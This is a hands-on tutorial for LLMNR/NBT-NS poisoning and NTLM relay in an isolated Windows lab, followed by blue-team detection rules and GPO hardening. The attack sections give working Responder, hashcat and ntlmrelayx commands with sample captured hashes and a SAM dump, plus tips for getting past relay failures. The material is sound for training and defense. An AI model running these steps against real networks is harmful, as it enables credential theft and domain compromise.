Hands-On Tutorial: Advanced LLMNR/NBT-NS Poisoning & NTLM Relay Masterclass (2026 Edition)

# Hands-On Tutorial: Advanced LLMNR/NBT-NS Poisoning & NTLM Relay Masterclass

## Executive Summary

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) remain active on default Windows client and server installations for legacy fallback compatibility. When legitimate DNS name resolution fails, Windows clients broadcast unauthenticated requests over local subnets. Attacking these protocols (MITRE ATT&CK **T1557.001**) allows penetration testers and red teams to capture NetNTLMv2 challenge-response hashes or relay them directly to unauthenticated SMB, LDAP, and HTTP services.

```
[Victim Workstation] ---- (1. DNS Fails: \\filesrver) ----> [Multicast LLMNR Query]
| |
| <--- (2. Rogue Response: "I am filesrver") --------------+ [Attacker Kali]
| | (Responder)
+ ---- (3. Sends NetNTLMv2 Challenge-Response Auth) --------+
|
+-----------------------+-----------------------+
| |
v v
[Path A: Offline Cracking] [Path B: NTLM Relay]
Hashcat -m 5600 + Rules ntlmrelayx -> Target SMB/LDAP
```

This hands-on masterclass delivers step-by-step instructions for establishing an isolated attack testing lab, mapping SMB signing postures, capturing/cracking NetNTLMv2 hashes, executing cross-protocol NTLM relays, and writing enterprise detection rules (Sigma/KQL) to mitigate these risks.

---

## Table of Contents

- [Learning Objectives & Prerequisites](#learning-objectives--prerequisites)
- [Lab Topology & Infrastructure Setup](#lab-topology--infrastructure-setup)
- [Phase 1: Protocol Mechanics & Network Reconnaissance](#phase-1-protocol-mechanics--network-reconnaissance)
- [LLMNR/NBT-NS Fallback Architecture](#llmnrnbt-ns-fallback-architecture)
- [Scanning SMB Signing Requirements with Nmap](#scanning-smb-signing-requirements-with-nmap)
- [Phase 2: Poisoning & Credential Harvesting with Responder](#phase-2-poisoning--credential-harvesting-with-responder)
- [Configuring Responder.conf](#configuring-responderconf)
- [Executing LLMNR/NBT-NS/WPAD Poisoning](#executing-llmnrnbt-nswpad-poisoning)
- [Analyzing NetNTLMv2 Hash Structure](#analyzing-netntlmv2-hash-structure)
- [Phase 3: High-Performance Offline Hash Cracking](#phase-3-high-performance-offline-hash-cracking)
- [Phase 4: Advanced NTLM Relaying with Impacket ntlmrelayx](#phase-4-advanced-ntlm-relaying-with-impacket-ntlmrelayx)
- [Troubleshooting & Failure Modes](#troubleshooting--failure-modes)
- [Blue Team Detection: Wireshark, KQL & Sigma Rules](#blue-team-detection-wireshark-kql--sigma-rules)
- [Defensive Remediation & GPO Hardening](#defensive-remediation--gpo-hardening)

---

## Learning Objectives & Prerequisites

### Learning Objectives

1. **Network Reconnaissance:** Identify unauthenticated broadcast name resolution protocols and map SMB signing requirements across subnets.
2. **Credential Capture:** Utilize `Responder` to intercept NetNTLMv2 challenge-response hashes safely in an authorized environment.
3. **Hash Recovery:** Configure `Hashcat` with optimized rule engines (`OneRuleToRuleThemAll.rule`) for NetNTLMv2 cracking.
4. **NTLM Relaying:** Execute real-time authentication relay attacks using Impacket's `ntlmrelayx` for SAM database dumping, command execution, and domain escalation.
5. **Detection & Defense:** Implement Group Policy Objects (GPOs), SMB Signing mandates, and SIEM rules to eliminate broadcast vulnerabilities.

### Environment Prerequisites

- **Attacker Host:** Kali Linux (or Arch/BlackArch Linux) with Python 3.11+, `impacket`, `responder`, `nmap`, and `hashcat`.
- **Target Network:** Isolated L2 virtual network (Host-Only or Internal Bridge).
- **Victim Hosts:**
- `DC01.corp.local` (Windows Server 2022 Domain Controller - `192.168.56.10`)
- `WORKSTATION01` (Windows 11 Enterprise - `192.168.56.101`)
- `WORKSTATION02` (Windows 10 Enterprise - `192.168.56.102`)
- **Authorization Disclaimer:** All activities must occur inside isolated lab environments or explicitly authorized penetration testing engagements.

---

## Lab Topology & Infrastructure Setup

```
+----------------------------------+
| Kali Linux Attacker |
| IP: 192.168.56.20 |
| Tools: Responder, ntlmrelayx |
+----------------------------------+
|
================== Isolated L2 Switch ==================
| | |
v v v
+------------------+ +------------------+ +-------------------+
| DC01 (Windows | | WORKSTATION01 | | WORKSTATION02 |
| Server 2022) | | (Windows 11) | | (Windows 10) |
| IP: 192.168.56.10| | IP: 192.168.56.101 | IP: 192.168.56.102|
+------------------+ +------------------+ +-------------------+
```

---

## Phase 1: Protocol Mechanics & Network Reconnaissance

### LLMNR/NBT-NS Fallback Architecture

When a Windows client connects to a UNC path or hostname (e.g., `\\nonexistent-share\data`), DNS resolution follows this order:

1. **Local Hosts File:** Evaluates `C:\Windows\System32\drivers\etc\hosts`.
2. **Local DNS Cache:** Checks local resolver cache (`ipconfig /displaydns`).
3. **Primary / Secondary DNS Server:** Sends unicast UDP 53 query to configured DNS server.
4. **LLMNR (Link-Local Multicast Name Resolution):** If DNS returns `NXDOMAIN`, broadcasts UDP 5355 across the local subnet (`224.0.0.252`).
5. **NBT-NS (NetBIOS Name Service):** If LLMNR yields no response, broadcasts UDP 137 over NetBIOS.

### Scanning SMB Signing Requirements with Nmap

Before attempting NTLM relaying, map target hosts to verify whether **SMB Signing** is required:

```bash
nmap -sS -p 445 --script smb2-security-mode 192.168.56.0/24 -oN smb_signing_audit.txt
```

#### Understanding Nmap Results

```
Nmap scan report for WORKSTATION02 (192.168.56.102)
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb2-security-mode:
|_ Message signing enabled but not required <-- VULNERABLE TO SMB RELAY

Nmap scan report for DC01 (192.168.56.10)
Host script results:
| smb2-security-mode:
|_ Message signing enabled and required <-- NOT VULNERABLE TO DIRECT SMB RELAY
```

---

## Phase 2: Poisoning & Credential Harvesting with Responder

### Configuring `Responder.conf`

Edit `/etc/responder/Responder.conf`:

```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
DHCP = Off

HTTP = On
HTTPS = On
SMB = On
SQL = On
FTP = On
LDAP = On
```

### Executing LLMNR/NBT-NS/WPAD Poisoning

Run `Responder` bound to your active network interface:

```bash
sudo responder -I eth0 -rdwv
```

On `WORKSTATION01` (`192.168.56.101`), simulate a typo in Windows File Explorer:

```cmd
net use \\storageserver01\share
```

Responder intercepts the multicast query and prompts Windows for authentication:

```
[+] Intercepted Hash:
[SMB] NTLMv2-SSP Client : 192.168.56.101
[SMB] NTLMv2-SSP Username : CORP\jdoe
[SMB] NTLMv2-SSP Hash : jdoe::CORP:1122334455667788:AABBCCDDEEFF00112233445566778899:0101000000000000...
```

### Analyzing NetNTLMv2 Hash Structure

Format: `Username` : `Domain` : `Server Challenge` : `NT Proof Response` : `Blob Data`

- **Username:** `jdoe`
- **Domain:** `CORP`
- **Server Challenge:** `1122334455667788`
- **NT Proof HMAC:** HMAC-MD5 computed over the server challenge + client blob using the user's NT Hash.

---

## Phase 3: High-Performance Offline Hash Cracking

Store captured hashes in `netntlmv2_hashes.txt` and execute `Hashcat` using mode `5600`:

```bash
hashcat -m 5600 netntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule --force
```

---

## Phase 4: Advanced NTLM Relaying with Impacket `ntlmrelayx`

### Step 1: Disable SMB & HTTP Servers in Responder

In `/etc/responder/Responder.conf`:

```ini
[Responder Core]
SMB = Off
HTTP = Off
```

### Step 2: Create Target List (`targets.txt`)

```
192.168.56.102
192.168.56.103
```

### Step 3: Run the Relay

```bash
# Terminal 1: Launch Responder for poisoning
sudo responder -I eth0 -rv

# Terminal 2: Launch ntlmrelayx
sudo impacket-ntlmrelayx -tf targets.txt -smb2support
```

When authentication is relayed to `WORKSTATION02` (`192.168.56.102`), `ntlmrelayx` dumps local SAM hashes:

```
[+] Authenticating against 192.168.56.102 as CORP\jdoe SUCCEED
[+] Target system bootKey: 0xa9b2c3...
[+] Dumping local SAM database hashes...
Administrator:500:aad3b435b51404ee...:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

---

## Troubleshooting & Failure Modes

1. **Port 445 / 80 Bind Errors (`Address already in use`):** Run `sudo systemctl stop smbd nmbd apache2 systemd-resolved`.
2. **Relay Fails with `STATUS_ACCESS_DENIED`:** Relayed user does not possess local administrative rights on target host. Expand target array.
3. **Relay Fails with `STATUS_LOGON_FAILURE`:** Target enforces SMB signing. Verify targets via Nmap first. Pivot relay traffic to HTTP/LDAP.

---

## Blue Team Detection: Wireshark, KQL & Sigma Rules

### Wireshark Filter

```
udp.port == 5355 && dns.flags.response == 1
dns.qry.name && ip.src == 192.168.56.20
```

### Microsoft Sentinel KQL Detection

```kql
SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where NtlmPackageName == "NTLM V2"
| where WorkstationName !startswith "CORP-"
| summarize Count=count() by Account, Computer, WorkstationName, IpAddress, bin(TimeGenerated, 15m)
| order by Count desc
```

### Sigma Rule: Detect Responder Activity

```yaml
title: Potential LLMNR/NBT-NS Poisoning Interception
id: f3a8d9b2-1c4e-4f7a-9e3d-8b2a1c4d5e6f
status: production
description: Detects rapid NTLM authentication events from non-domain-joined source IPs.
author: Syed Zada Abrar (Andrax Pentester)
logsource:
product: windows
service: security
detection:
selection:
EventID: 4776
PackageName: 'MICROSOFT_AUTHENTICATION_PACKAGE_V1_0'
filter:
Workstation|startswith: 'CORP-'
condition: selection and not filter
level: high
```

---

## Defensive Remediation & GPO Hardening

### 1. Disable LLMNR via Group Policy (GPO)

`Computer Configuration` -> `Administrative Templates` -> `Network` -> `DNS Client` -> **Turn off multicast name resolution** -> **Enabled**.

```powershell
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" -Name "EnableMulticast" -Value 0 -PropertyType DWORD -Force
```

### 2. Disable NetBIOS over TCP/IP (NBT-NS)

`ncpa.cpl` -> Adapter -> Properties -> IPv4 Properties -> Advanced -> NetBIOS -> **Disable NetBIOS over TCP/IP**.

### 3. Mandate SMB Signing

`Computer Configuration` -> `Windows Settings` -> `Security Settings` -> `Local Policies` -> `Security Options`

- **Microsoft network server: Digitally sign communications (always)** -> **Enabled**
- **Microsoft network client: Digitally sign communications (always)** -> **Enabled**

---

## Key Takeaways

1. **Protocol Default Vulnerabilities:** Unauthenticated broadcast protocols (LLMNR/NBT-NS) expose credentials on flat networks.
2. **Relaying vs. Cracking:** NTLM relaying circumvents password complexity entirely by passing authentication to un-signed targets.
3. **Hardening Standard:** Disable LLMNR/NBT-NS via GPO and enforce mandatory SMB Signing across all enterprise endpoints.

---

> **Author:** Syed Zada Abrar — Lead Cybersecurity Researcher & Founder of Andrax Pentester.
> *All tutorial materials are strictly dedicated to authorized defensive testing and security research.*